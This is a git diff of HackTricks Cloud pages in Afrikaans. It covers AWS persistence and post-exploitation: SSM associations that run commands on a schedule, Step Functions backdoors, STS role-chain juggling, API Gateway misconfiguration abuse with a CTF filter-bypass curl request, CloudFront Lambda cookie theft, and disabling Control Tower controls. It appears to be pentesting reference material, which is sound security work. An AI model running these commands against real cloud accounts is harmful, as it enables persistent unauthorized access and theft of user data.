{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SSM
|
||||
|
||||
Vir meer inligting, kyk:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md
|
||||
{{#endref}}
|
||||
|
||||
### Gebruik ssm:CreateAssociation vir persistensie
|
||||
|
||||
'n Aanvaller met die toestemming **`ssm:CreateAssociation`** kan 'n State Manager Association skep om outomaties opdragte op EC2-instances wat deur SSM bestuur word, uit te voer. Hierdie assosiasies kan gekonfigureer word om op 'n vaste interval te loop, wat hulle geskik maak vir agterdeur-agtige persistensie sonder interaktiewe sessies.
|
||||
```bash
|
||||
aws ssm create-association \
|
||||
--name SSM-Document-Name \
|
||||
--targets Key=InstanceIds,Values=target-instance-id \
|
||||
--parameters commands=["malicious-command"] \
|
||||
--schedule-expression "rate(30 minutes)" \
|
||||
--association-name association-name
|
||||
```
|
||||
> [!NOTE]
|
||||
> Hierdie volhardingsmetode werk solank die EC2-instantie deur Systems Manager bestuur word, die SSM-agent loop, en die aanvaller toestemming het om assosiasies te skep. Dit vereis nie interaktiewe sessies of eksplisiete ssm:SendCommand-toestemmings nie. **Belangrik:** Die `--schedule-expression` parameter (bv. `rate(30 minutes)`) moet AWS se minimum interval van 30 minute respekteer. Vir onmiddellike of eenmalige uitvoering, laat `--schedule-expression` heeltemal weg — die assosiasie sal een keer na skep uitvoer.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,27 @@
|
||||
# AWS - SSM Perssitence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SSM
|
||||
|
||||
Vir meer inligting, sien:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md
|
||||
{{#endref}}
|
||||
|
||||
### Gebruik ssm:CreateAssociation vir persistence
|
||||
|
||||
'n aanvaller met die toestemming **`ssm:CreateAssociation`** kan 'n State Manager Association skep om outomaties opdragte uit te voer op EC2-instanties wat deur SSM bestuur word. Hierdie associations kan gekonfigureer word om op 'n vaste interval te hardloop, wat dit geskik maak vir backdoor-like persistence sonder interaktiewe sessies.
|
||||
```bash
|
||||
aws ssm create-association \
|
||||
--name SSM-Document-Name \
|
||||
--targets Key=InstanceIds,Values=target-instance-id \
|
||||
--parameters commands=["malicious-command"] \
|
||||
--schedule-expression "rate(30 minutes)" \
|
||||
--association-name association-name
|
||||
```
|
||||
> [!NOTE]
|
||||
> Hierdie persistence method werk solank die EC2 instance deur Systems Manager bestuur word, die SSM agent loop, en die aanvaller toestemming het om associations te skep. Dit vereis nie interaktiewe sessies of eksplisiete ssm:SendCommand permissions nie. **Belangrik:** Die `--schedule-expression` parameter (bv. `rate(30 minutes)`) moet AWS se minimuminterval van 30 minute respekteer. Vir onmiddellike of eenmalige uitvoering, laat die `--schedule-expression` heeltemal weg — die association sal een keer na skepping uitgevoer word.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,21 +0,0 @@
|
||||
# AWS - Stap Funksies Volharding
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Stap Funksies
|
||||
|
||||
Vir meer inligting, kyk:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-stepfunctions-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Stap funksie Agterdeur
|
||||
|
||||
Agterdeur 'n stap funksie om dit te laat uitvoer enige volharding truuk sodat elke keer as dit uitgevoer word, dit jou kwaadwillige stappe sal uitvoer.
|
||||
|
||||
### Agterdeur aliase
|
||||
|
||||
As die AWS-rekening aliase gebruik om stap funksies aan te roep, sal dit moontlik wees om 'n alias te wysig om 'n nuwe agterdeur weergawe van die stap funksie te gebruik.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+21
@@ -0,0 +1,21 @@
|
||||
# AWS - Step Functions Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Step Functions
|
||||
|
||||
Vir meer inligting, sien:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-stepfunctions-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Step function Backdooring
|
||||
|
||||
Backdoor a step function om dit enige persistence trick te laat uitvoer, sodat elke keer as dit uitgevoer word, dit jou malicious steps sal uitvoer.
|
||||
|
||||
### Backdooring aliases
|
||||
|
||||
As die AWS-rekening aliases gebruik om step functions aan te roep, sou dit moontlik wees om 'n alias te wysig om 'n nuwe backdoored weergawe van die step function te gebruik.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+16
-16
@@ -1,36 +1,36 @@
|
||||
# AWS - STS Persistensie
|
||||
# AWS - STS Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## STS
|
||||
|
||||
Vir meer inligting, toegang:
|
||||
Vir meer inligting, sien:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-sts-enum.md
|
||||
../../aws-services/aws-sts-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Neem rol token
|
||||
### Assume role token
|
||||
|
||||
Tydelike tokens kan nie gelys word nie, so om 'n aktiewe tydelike token te handhaaf is 'n manier om persistensie te handhaaf.
|
||||
Temporary tokens kan nie gelys word nie, dus is die behoud van 'n aktiewe temporary token 'n manier om persistence te behou.
|
||||
|
||||
<pre class="language-bash"><code class="lang-bash">aws sts get-session-token --duration-seconds 129600
|
||||
|
||||
# Met MFA
|
||||
# With MFA
|
||||
aws sts get-session-token \
|
||||
--serial-number <mfa-device-name> \
|
||||
--token-code <code-from-token>
|
||||
|
||||
# Hardeware toestelnaam is gewoonlik die nommer aan die agterkant van die toestel, soos GAHT12345678
|
||||
<strong># SMS toestelnaam is die ARN in AWS, soos arn:aws:iam::123456789012:sms-mfa/gebruikersnaam
|
||||
</strong># Virtuele toestelnaam is die ARN in AWS, soos arn:aws:iam::123456789012:mfa/gebruikersnaam
|
||||
# Hardware device name is usually the number from the back of the device, such as GAHT12345678
|
||||
<strong># SMS device name is the ARN in AWS, such as arn:aws:iam::123456789012:sms-mfa/username
|
||||
</strong># Vritual device name is the ARN in AWS, such as arn:aws:iam::123456789012:mfa/username
|
||||
</code></pre>
|
||||
|
||||
### Rolketting Juggling
|
||||
### Role Chain Juggling
|
||||
|
||||
[**Rolketting is 'n erkende AWS kenmerk**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), wat dikwels gebruik word om stealth persistensie te handhaaf. Dit behels die vermoë om **'n rol aan te neem wat dan 'n ander rol aanneem**, wat moontlik terugkeer na die aanvanklike rol in 'n **sikliese manier**. Elke keer as 'n rol aangeneem word, word die vervaldatum van die geloofsbriewe verfris. Gevolglik, as twee rolle gekonfigureer is om mekaar onderling aan te neem, laat hierdie opstelling die voortdurende vernuwing van geloofsbriewe toe.
|
||||
Role chaining is 'n erkende AWS-funksie wat dikwels gebruik word om stealth persistence te onderhou. Dit behels die vermoë om 'n role te assume wat dan 'n ander assume, en moontlik op 'n sikliese wyse na die aanvanklike role terugkeer. Elke keer 'n role assumed word, word die credentials se expiration veld vernuwe. Gevolglik, as twee roles gekonfigureer is om mekaar wedersyds te assume, laat hierdie opstelling die voortdurende vernuwing van credentials toe.
|
||||
|
||||
Jy kan hierdie [**instrument**](https://github.com/hotnops/AWSRoleJuggler/) gebruik om die rolketting aan die gang te hou:
|
||||
You can use this [**tool**](https://github.com/hotnops/AWSRoleJuggler/) to keep the role chaining going:
|
||||
```bash
|
||||
./aws_role_juggler.py -h
|
||||
usage: aws_role_juggler.py [-h] [-r ROLE_LIST [ROLE_LIST ...]]
|
||||
@@ -40,11 +40,11 @@ optional arguments:
|
||||
-r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...]
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Let daarop dat die [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) skrip van daardie Github-bewaarplek nie al die maniere vind waarop 'n rolketting gekonfigureer kan word nie.
|
||||
> Let wel dat die [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) script van daardie Github repository nie alle maniere waarop 'n rolketting gekonfigureer kan word, vind nie.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Code om Rol Juggling vanaf PowerShell uit te voer</summary>
|
||||
<summary>Kode om Role Juggling vanaf PowerShell uit te voer</summary>
|
||||
```bash
|
||||
# PowerShell script to check for role juggling possibilities using AWS CLI
|
||||
|
||||
@@ -124,4 +124,4 @@ Write-Host "Role juggling check complete."
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
-132
@@ -1,132 +0,0 @@
|
||||
# AWS - API Gateway Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## API Gateway
|
||||
|
||||
Vir meer inligting, kyk:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-api-gateway-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Toegang tot nie-blootgestelde APIs
|
||||
|
||||
Jy kan 'n eindpunt skep in [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) met die diens `com.amazonaws.us-east-1.execute-api`, die eindpunt blootstel in 'n netwerk waar jy toegang het (potensieel via 'n EC2 masjien) en 'n sekuriteitsgroep toewys wat alle verbindings toelaat.\
|
||||
Dan, vanaf die EC2 masjien sal jy in staat wees om toegang tot die eindpunt te verkry en dus die gateway API aan te roep wat voorheen nie blootgestel was nie.
|
||||
|
||||
### Oorbrug aanvraagliggaam pas deur
|
||||
|
||||
Hierdie tegniek is gevind in [**hierdie CTF skrywe**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp).
|
||||
|
||||
Soos aangedui in die [**AWS dokumentasie**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) in die `PassthroughBehavior` afdeling, is die waarde **`WHEN_NO_MATCH`** , wanneer die **Content-Type** kop van die aanvraag nagegaan word, sal die aanvraag na die agterkant deurgee sonder enige transformasie.
|
||||
|
||||
Daarom, in die CTF het die API Gateway 'n integrasiesjabloon gehad wat **die vlag verhinder het om uit te lek** in 'n antwoord wanneer 'n aanvraag gestuur is met `Content-Type: application/json`:
|
||||
```yaml
|
||||
RequestTemplates:
|
||||
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
|
||||
```
|
||||
egter, om 'n versoek te stuur met **`Content-type: text/json`** sou daardie filter voorkom.
|
||||
|
||||
Laastens, aangesien die API Gateway slegs `Get` en `Options` toegelaat het, was dit moontlik om 'n arbitrêre dynamoDB-navraag te stuur sonder enige beperking deur 'n POST-versoek met die navraag in die liggaam te stuur en die koptekst `X-HTTP-Method-Override: GET` te gebruik:
|
||||
```bash
|
||||
curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
|
||||
```
|
||||
### Gebruik Planne DoS
|
||||
|
||||
In die **Enumerasie** afdeling kan jy sien hoe om die **gebruik plan** van die sleutels te **verkry**. As jy die sleutel het en dit is **beperk** tot X gebruike **per maand**, kan jy dit **net gebruik en 'n DoS veroorsaak**.
|
||||
|
||||
Die **API Sleutel** moet net **ingesluit** wees in 'n **HTTP kop** genoem **`x-api-key`**.
|
||||
|
||||
### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment`
|
||||
|
||||
'n Aanvaller met die regte `apigateway:UpdateGatewayResponse` en `apigateway:CreateDeployment` kan **'n bestaande Gateway Response wysig om pasgemaakte koppe of respons sjablone in te sluit wat sensitiewe inligting lek of kwaadwillige skripte uitvoer**.
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
RESPONSE_TYPE="DEFAULT_4XX"
|
||||
|
||||
# Update the Gateway Response
|
||||
aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}"
|
||||
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
**Potensiële Impak**: Lek van sensitiewe inligting, uitvoering van kwaadwillige skripte, of ongemagtigde toegang tot API-hulpbronne.
|
||||
|
||||
> [!NOTE]
|
||||
> Nodig om te toets
|
||||
|
||||
### `apigateway:UpdateStage`, `apigateway:CreateDeployment`
|
||||
|
||||
'n Aanvaller met die regte `apigateway:UpdateStage` en `apigateway:CreateDeployment` kan **'n bestaande API Gateway-fase wysig om verkeer na 'n ander fase te herlei of die kasinstellings te verander om ongemagtigde toegang tot gekapte data te verkry**.
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
STAGE_NAME="Prod"
|
||||
|
||||
# Update the API Gateway stage
|
||||
aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5"
|
||||
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
**Potensiële Impak**: Onbevoegde toegang tot gekapte data, onderbreking of onderskep van API-verkeer.
|
||||
|
||||
> [!NOTE]
|
||||
> Nodig om te toets
|
||||
|
||||
### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment`
|
||||
|
||||
'n Aanvaller met die toestemmings `apigateway:PutMethodResponse` en `apigateway:CreateDeployment` kan **die metode-respons van 'n bestaande API Gateway REST API-metode wysig om pasgemaakte koptekste of respons-sjablone in te sluit wat sensitiewe inligting lek of kwaadwillige skripte uitvoer**.
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
RESOURCE_ID="your-resource-id"
|
||||
HTTP_METHOD="GET"
|
||||
STATUS_CODE="200"
|
||||
|
||||
# Update the method response
|
||||
aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true"
|
||||
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
**Potensiële Impak**: Lek van sensitiewe inligting, uitvoering van kwaadwillige skripte, of ongemagtigde toegang tot API-hulpbronne.
|
||||
|
||||
> [!NOTE]
|
||||
> Nodig om te toets
|
||||
|
||||
### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment`
|
||||
|
||||
'n Aanvaller met die regte `apigateway:UpdateRestApi` en `apigateway:CreateDeployment` kan **die API Gateway REST API-instellings wysig om logging te deaktiveer of die minimum TLS-weergawe te verander, wat moontlik die sekuriteit van die API verzwak**.
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
|
||||
# Update the REST API settings
|
||||
aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER'
|
||||
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
**Potensiële Impak**: Versterking van die sekuriteit van die API, wat moontlik ongeoorloofde toegang toelaat of sensitiewe inligting blootstel.
|
||||
|
||||
> [!NOTE]
|
||||
> Nodig om te toets
|
||||
|
||||
### `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, `apigateway:CreateUsagePlanKey`
|
||||
|
||||
'n Aanvaller met toestemmings `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, en `apigateway:CreateUsagePlanKey` kan **nuwe API-sleutels skep, dit met gebruiksplanne assosieer, en dan hierdie sleutels gebruik vir ongeoorloofde toegang tot API's**.
|
||||
```bash
|
||||
# Create a new API key
|
||||
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')
|
||||
|
||||
# Create a new usage plan
|
||||
USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id')
|
||||
|
||||
# Associate the API key with the usage plan
|
||||
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY
|
||||
```
|
||||
**Potensiële Impak**: Onbevoegde toegang tot API-hulpbronne, omseiling van sekuriteitsbeheer.
|
||||
|
||||
> [!NOTE]
|
||||
> Nodig om te toets
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+132
@@ -0,0 +1,132 @@
|
||||
# AWS - API Gateway Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## API Gateway
|
||||
|
||||
Vir meer inligting, kyk:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-api-gateway-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Toegang tot nie-blootgestelde APIs
|
||||
|
||||
You can create an endpoint in [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) with the service `com.amazonaws.us-east-1.execute-api`, expose the endpoint in a network where you have access (potentially via an EC2 machine) and assign a security group allowing all connections.\
|
||||
Vanaf die EC2-masjien sal jy dan die endpoint kan bereik en dus die gateway API kan aanroep wat voorheen nie blootgestel was nie.
|
||||
|
||||
### Bypass Request body passthrough
|
||||
|
||||
This technique was found in [**this CTF writeup**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp).
|
||||
|
||||
Soos aangedui in die [**AWS documentation**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) in die `PassthroughBehavior` afdeling, sal die waarde **`WHEN_NO_MATCH`**, wanneer die **Content-Type** header van die versoek nagegaan word, die versoek sonder transformasie na die back end deurgee.
|
||||
|
||||
Daarom het die API Gateway in die CTF 'n integration template gehad wat **preventing the flag from being exfiltrated** in 'n response toe 'n versoek gestuur is met `Content-Type: application/json`:
|
||||
```yaml
|
||||
RequestTemplates:
|
||||
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
|
||||
```
|
||||
Egter, 'n versoek met **`Content-type: text/json`** sou daardie filter omseil.
|
||||
|
||||
Laastens, aangesien die API Gateway slegs `Get` en `Options` toegelaat het, was dit moontlik om 'n arbitrêre dynamoDB query sonder beperking te stuur deur 'n POST versoek met die query in die body te stuur en die header `X-HTTP-Method-Override: GET` te gebruik:
|
||||
```bash
|
||||
curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
|
||||
```
|
||||
### Gebruikplanne DoS
|
||||
|
||||
In die **Enumeration** afdeling kan jy sien hoe om die **verkry die gebruikplan** van die sleutels. As jy die sleutel het en dit is **beperk** tot X gebruike **per maand**, kan jy dit **net gebruik en 'n DoS veroorsaak**.
|
||||
|
||||
Die **API Key** hoef net **ingesluit** te word in 'n **HTTP header** genaamd **`x-api-key`**.
|
||||
|
||||
### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment`
|
||||
|
||||
'n aanvaller met die permissies `apigateway:UpdateGatewayResponse` en `apigateway:CreateDeployment` kan **'n bestaande Gateway Response wysig om pasgemaakte headers of response templates in te sluit wat sensitiewe inligting leak of kwaadwillige skripte uitvoer**.
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
RESPONSE_TYPE="DEFAULT_4XX"
|
||||
|
||||
# Update the Gateway Response
|
||||
aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}"
|
||||
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
**Potensiële impak**: Leakage van sensitiewe inligting, die uitvoering van kwaadwillige skripte, of ongemagtigde toegang tot API-hulpbronne.
|
||||
|
||||
> [!NOTE]
|
||||
> Benodig toetsing
|
||||
|
||||
### `apigateway:UpdateStage`, `apigateway:CreateDeployment`
|
||||
|
||||
An attacker with the permissions `apigateway:UpdateStage` and `apigateway:CreateDeployment` can **wysig 'n bestaande API Gateway-stage om verkeer na 'n ander stage te herlei of die caching-instellings te verander om ongemagtigde toegang tot gecachede data te verkry**.
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
STAGE_NAME="Prod"
|
||||
|
||||
# Update the API Gateway stage
|
||||
aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5"
|
||||
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
**Potensiële impak**: Ongemagtigde toegang tot gecachede data, die ontwrigting of onderskep van API-verkeer.
|
||||
|
||||
> [!NOTE]
|
||||
> Benodig toetsing
|
||||
|
||||
### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment`
|
||||
|
||||
'n aanvaller met die toestemmings `apigateway:PutMethodResponse` en `apigateway:CreateDeployment` kan **die metode-antwoord van 'n bestaande API Gateway REST API-metode wysig om pasgemaakte headers of antwoordsjablone in te sluit wat leak sensitiewe inligting of kwaadwillige skripte uitvoer**.
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
RESOURCE_ID="your-resource-id"
|
||||
HTTP_METHOD="GET"
|
||||
STATUS_CODE="200"
|
||||
|
||||
# Update the method response
|
||||
aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true"
|
||||
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
**Potensiële impak**: Leakage van sensitiewe inligting, die uitvoering van kwaadwillige skripte, of ongemagtigde toegang tot API-hulpbronne.
|
||||
|
||||
> [!NOTE]
|
||||
> Benodig toetsing
|
||||
|
||||
### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment`
|
||||
|
||||
'n aanvaller met die permissies `apigateway:UpdateRestApi` en `apigateway:CreateDeployment` kan **die API Gateway REST API-instellings wysig om logging uit te skakel of die minimum TLS-weergawe te verander, wat moontlik die veiligheid van die API verswak**.
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
|
||||
# Update the REST API settings
|
||||
aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER'
|
||||
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
**Potensiële impak**: Verzwakking van die API se veiligheid, wat moontlik ongemagtigde toegang toelaat of sensitiewe inligting blootstel.
|
||||
|
||||
> [!NOTE]
|
||||
> Moet getoets word
|
||||
|
||||
### `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, `apigateway:CreateUsagePlanKey`
|
||||
|
||||
'n Aanvaller met toestemmings `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, en `apigateway:CreateUsagePlanKey` kan **nuwe API keys skep, dit met usage plans koppel, en dan hierdie keys gebruik vir ongemagtigde toegang tot APIs**.
|
||||
```bash
|
||||
# Create a new API key
|
||||
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')
|
||||
|
||||
# Create a new usage plan
|
||||
USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id')
|
||||
|
||||
# Associate the API key with the usage plan
|
||||
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY
|
||||
```
|
||||
**Potensiële impak**: Ongemagtigde toegang tot API-hulpbronne, omseiling van sekuriteitskontroles.
|
||||
|
||||
> [!NOTE]
|
||||
> Benodig toetsing
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
-31
@@ -1,31 +0,0 @@
|
||||
# AWS - CloudFront Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## CloudFront
|
||||
|
||||
Vir meer inligting, kyk:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-cloudfront-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Man-in-the-Middle
|
||||
|
||||
Hierdie [**blogpos**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) stel 'n paar verskillende scenario's voor waar 'n **Lambda** bygevoeg (of gewysig indien dit reeds gebruik word) kan word in 'n **kommunikasie deur CloudFront** met die doel om **gebruikersinligting** (soos die sessie **cookie**) te **steel** en die **antwoord** te **wysig** (deur 'n kwaadwillige JS-skrip in te voeg).
|
||||
|
||||
#### scenario 1: MitM waar CloudFront geconfigureer is om toegang te verkry tot 'n HTML van 'n emmer
|
||||
|
||||
- **Skep** die kwaadwillige **funksie**.
|
||||
- **Koppel** dit aan die CloudFront verspreiding.
|
||||
- Stel die **gebeurtenistipe op "Viewer Response"**.
|
||||
|
||||
Deur die antwoord te benader, kan jy die gebruikers se cookie steel en 'n kwaadwillige JS in voeg.
|
||||
|
||||
#### scenario 2: MitM waar CloudFront reeds 'n lambda-funksie gebruik
|
||||
|
||||
- **Wysig die kode** van die lambda-funksie om sensitiewe inligting te steel
|
||||
|
||||
Jy kan die [**tf kode om hierdie scenario's hier te hercreëer**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main) kyk.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+31
@@ -0,0 +1,31 @@
|
||||
# AWS - CloudFront Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## CloudFront
|
||||
|
||||
Vir meer inligting, kyk:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-cloudfront-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Man-in-the-Middle
|
||||
|
||||
This [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) stel 'n paar verskillende scenario's voor waar 'n **Lambda** bygevoeg kan word (of gewysig as dit reeds gebruik word) in 'n **kommunikasie deur CloudFront** met die doel om gebruikersinligting te **steel** (soos die session **cookie**) en die **response** te **wysig** (deur 'n kwaadwillige JS-skrip in te spuit).
|
||||
|
||||
#### scenario 1: MitM waar CloudFront gekonfigureer is om HTML van 'n bucket te benader
|
||||
|
||||
- **Skep** die kwaadwillige **function**.
|
||||
- **Koppel** dit aan die CloudFront distribution.
|
||||
- Stel die **event type op "Viewer Response"**.
|
||||
|
||||
Deur toegang tot die **response** te kry, kan jy die gebruiker se **cookie** steel en 'n kwaadwillige JS inspuit.
|
||||
|
||||
#### scenario 2: MitM waar CloudFront reeds 'n lambda function gebruik
|
||||
|
||||
- **Wysig die kode** van die lambda function om sensitiewe inligting te steel
|
||||
|
||||
Jy kan die [**tf code om hierdie scenario's hier te herproduseer**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main) nagaan.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
-18
@@ -1,18 +0,0 @@
|
||||
# AWS - Control Tower Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Control Tower
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-security-and-detection-services/aws-control-tower-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Aktiveer / Deaktiveer Beheer
|
||||
|
||||
Om 'n rekening verder te benut, mag jy nodig hê om Control Tower beheer te deaktiveer/aktiver.
|
||||
```bash
|
||||
aws controltower disable-control --control-identifier <arn_control_id> --target-identifier <arn_account>
|
||||
